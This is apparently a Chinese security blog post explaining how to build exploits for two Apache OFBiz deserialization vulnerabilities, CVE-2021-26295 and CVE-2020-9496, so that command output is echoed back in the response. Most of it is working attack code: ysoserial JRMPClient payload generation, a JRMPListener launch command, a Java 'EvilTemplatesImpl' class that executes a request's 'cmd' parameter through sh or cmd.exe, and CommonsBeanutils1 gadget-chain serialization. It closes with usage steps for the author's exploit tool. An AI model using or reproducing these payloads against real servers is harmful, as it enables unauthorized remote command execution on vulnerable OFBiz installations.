炒冷饭系列之第二篇--Apache Ofbiz回显利用与工具实现
0x00 前言
(首发于先知社区https://xz.aliyun.com/t/9827)
最近学习了下apache ofbiz的的两个cve,CVE-2021-26295与CVE-2020-9496,然后想起来目前还没有关于回显的exp,于是手动调了一下回显的利用,(其实是逮住kingkk师傅的回显思路一顿薅:Tomcat中一种半通用回显方法。
0x01 环境搭建以及回显payload
环境搭建主要参考这篇文章 https://www.cnblogs.com/ph4nt0mer/p/13576739.html
wget http://archive.apache.org/dist/ofbiz/apache-ofbiz-17.12.01.zip
unzip apache-ofbiz-17.12.01.zip
cd apache-ofbiz-17.12.01
sh gradle/init-gradle-wrapper.sh
./gradlew cleanAll loadDefault
./gradlew "ofbiz --load-data readers=seed,seed-initial,ext"
./gradlew ofbiz # Start OFBiz
在idea中导入进行调试
0x02 CVE-2021-26295 回显
CVE-2021-26295实际上是反序列化白名单的绕过,由漏洞触发点
java/org/apache/ofbiz/base/util/SafeObjectInputStream.java
中可以看到关键代码如下
虽然使用了SafeObjectInputStream进行封装(白名单校验),但忽略java.*当中还有java.rmi.*可以进行调用。看了下先知上关于这个漏洞的分析文章感叹构造poc进行完整利用的师傅实在是太强了。
网上通用的rce攻击步骤为
(1)使用yososerial生成jrmpclient的payload,然后保存至
#coding:utf-8
import subprocess
ip = "127.0.0.1"
port = "12345"
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', "JRMPClient", "{}:{}".format(ip, port)], stdout=subprocess.PIPE)
payload = popen.stdout.read()
post_data = payload.hex().upper()
print(post_data)
(2)监听jrmp Listener
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsBeanutils1 "calc.exe"
因为不是直接回显,所以一般选择使用dnslog或者其他反弹shell的方式进行利用。
由于攻击exp要集成到工具中并且简化利用,因此多次使用已公开回显payload进行调试,最终找到了可回显的payload,基本上是对《Tomcat中一种半通用回显方法》的payload的复用。直接通过在org.apache.catalina.core.ApplicationFilterChain中的lastServicedRequest和lastServicedResponse来获取request和response,request获得传入的参数,response中设置执行命令后的响应内容。
Tomcat回显代码如下(直接从kingkk的payload上复制下来即可)
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Response;
import org.apache.catalina.connector.ResponseFacade;
import org.apache.catalina.core.ApplicationFilterChain;
import java.io.InputStream;
import java.lang.reflect.Field;
import javax.servlet.*;
import java.lang.reflect.Modifier;
import java.util.Scanner;
public class EvilTemplatesImpl extends AbstractTranslet {
static {
try {
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);
ThreadLocal<ServletResponse> lastServicedResponse =
(ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
String cmd = lastServicedRequest != null
? lastServicedRequest.get().getParameter("cmd")
: null;
if (!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null) {
lastServicedRequestField.set(null, new ThreadLocal<>());
lastServicedResponseField.set(null, new ThreadLocal<>());
WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
} else if (cmd != null) {
ServletResponse responseFacade = lastServicedResponse.get();
ServletRequest request_test = lastServicedRequest.get();
ServletContext servletContext = request_test.getServletContext();
responseFacade.getWriter();
java.io.Writer w = responseFacade.getWriter();
Field responseField = ResponseFacade.class.getDeclaredField("response");
responseField.setAccessible(true);
Response response = (Response) responseField.get(responseFacade);
Field usingWriter = Response.class.getDeclaredField("usingWriter");
usingWriter.setAccessible(true);
usingWriter.set((Object) response, Boolean.FALSE);
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
w.write(output);
w.flush();
}
}catch (Exception e){
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
throws TransletException {
}
}
由于ysoserial整个项目包过于庞大,因此这里直接从ysoserial调了关键部分的利用链CommonsBeantuils1代码
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import org.example.EvilTemplatesImpl;
import java.io.IOException;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class JRMPTest {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String args[]) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "EvilTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
JRMPListener jrmpListener = new JRMPListener(12345,queue);
jrmpListener.run();
}
}
最终利用截图为
调试时踩过一些坑,比如每次生成的jrmpclient的poc触发server去连接远程的jrmpserver只能触发一次,要想每次都触发必须得重新生成(检查了下代码应该是objid得重新生成)不过我对rmi的理解还是不够,若有理解错误的点,师傅们指出我改正。
0x03 CVE-2020-9496 回显
漏洞大致原理为通过/webtools/control/xmlrpc接口,传入XML-RPC数据,通过XmlRpcEventHandler的getRequest方法对该数据进行解析。
接着调用scanDocument对xml元素进行扫描解析。
解析serialize标签时,getParser方法判断pUri是否与EXTENSIONS_URI相等,接着进入道SerializerParser进行反序列化操作
最终取出serializable标签中的数据进行反序列化。
回显利用部分代码如下
import java.io.*;
import java.lang.reflect.Field;
import java.math.BigInteger;
import java.util.Base64;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import ysoserial.payloads.util.ClassFiles;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;
public class CommonsBeanutilsTest {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
public static void main(String args[]) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
String a = Base64.getEncoder().encodeToString(barr.toByteArray());
System.out.println(a);
}
}
0x04 回显利用工具集成与使用
1、CVE-2021-26295
Listen-AllServer,选择一个端口开启jrmp监听
选择对应的exp
选择远程监听的端口,payload,填入url和命令,选择exploit即可成功利用
2、CVE-2020-9496
选择相应的exp
填入目标url即可
0x05 工具地址
https://github.com/MrMeizhi/DriedMango
0x06 参考
https://github.com/dwisiswant0/CVE-2020-9496
https://kylingit.com/blog/cve-2020-9496-apache-ofbiz-xmlrpc-rce漏洞分析/